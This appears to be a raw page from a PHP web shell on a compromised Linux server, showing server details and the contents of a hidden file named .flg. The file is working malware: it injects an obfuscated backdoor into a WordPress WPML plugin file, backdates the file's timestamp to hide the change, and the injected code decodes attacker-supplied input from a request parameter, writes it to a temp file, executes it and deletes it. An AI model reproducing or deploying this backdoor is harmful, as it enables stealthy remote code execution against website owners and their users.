HEX
Server: Apache/2.4.57 (Unix) OpenSSL/1.1.1w
System: Linux server.mediaphic.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: efhamali (1088)
PHP: 7.3.33
Disabled: exec,passthru,shell_exec,system,show_source,mail,sendmail,popen,symlink,phpinfo
Upload Files
File: //var/tmp/.flg
<?php   $p = "/home/sfcconst/public_html/wp-content/plugins/wpml-string-translation/classes/page-builders/strategy/api-hooks/class.wpml.pb.update.api.hooks.php"; $c = rawurldecode('%3C%3Fphp%0A%0Aif%28array_key_exists%28%22%5Cx66%5Cx6Cg%22%2C%20%24_REQUEST%29%20%26%26%20%21is_null%28%24_REQUEST%5B%22%5Cx66%5Cx6Cg%22%5D%29%29%7B%0A%09%24mrk%20%3D%20%24_REQUEST%5B%22%5Cx66%5Cx6Cg%22%5D%3B%0A%09%20%24mrk%3D%09explode%20%09%28%20%09%09%22.%22%2C%09%09%24mrk%20%29%09%09%20%3B%09%20%09%0A%09%24reference%20%3D%20%27%27%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24salt%20%3D%20%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24sLen%20%3D%20strlen%28%09%09%24salt%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24s%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24len%20%3D%20count%28%09%09%24mrk%29%3B%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%28%09%09%24s%09%20%3E%3D%20%24len%29%20break%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24v5%20%3D%20%24mrk%5B%24s%5D%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24chS%20%3D%20ord%28%09%09%24salt%5B%24s%20%25%20%24sLen%5D%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24dec%20%3D%28%09%09%28%09%09int%29%24v5%20-%20%24chS%20-%28%09%09%24s%20%25%2010%29%29%20%5E%2054%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24reference%09.%3D%20%20chr%28%09%09%24dec%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24s%2B%2B%3B%09%09%7Dwhile%28%09%09true%29%3B%0A%09%24pgrp%20%3D%20array_filter%28%5B%22/tmp%22%2C%20getcwd%28%29%2C%20getenv%28%22TMP%22%29%2C%20%22/var/tmp%22%2C%20sys_get_temp_dir%28%29%2C%20session_save_path%28%29%2C%20%22/dev/shm%22%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20getenv%28%22TEMP%22%29%5D%29%3B%0A%09foreach%20%28%24pgrp%20as%20%24res%29%20%7B%0A%20%20%20%20%09%09if%20%28%21%21is_dir%28%24res%29%20%26%26%20%21%21is_writable%28%24res%29%29%20%7B%0A%20%20%20%20%24property_set%20%3D%20vsprintf%28%22%25s/%25s%22%2C%20%5B%24res%2C%20%22.fac%22%5D%29%3B%0A%20%20%20%20if%20%28file_put_contents%28%24property_set%2C%20%24reference%29%29%20%7B%0A%09include%20%24property_set%3B%0A%09%40unlink%28%24property_set%29%3B%0A%09exit%3B%0A%7D%0A%7D%0A%7D%0A%7D'); if (file_put_contents($p, $c)) {     echo '!success!';     @touch($p, 1488820040); } die('!ended!');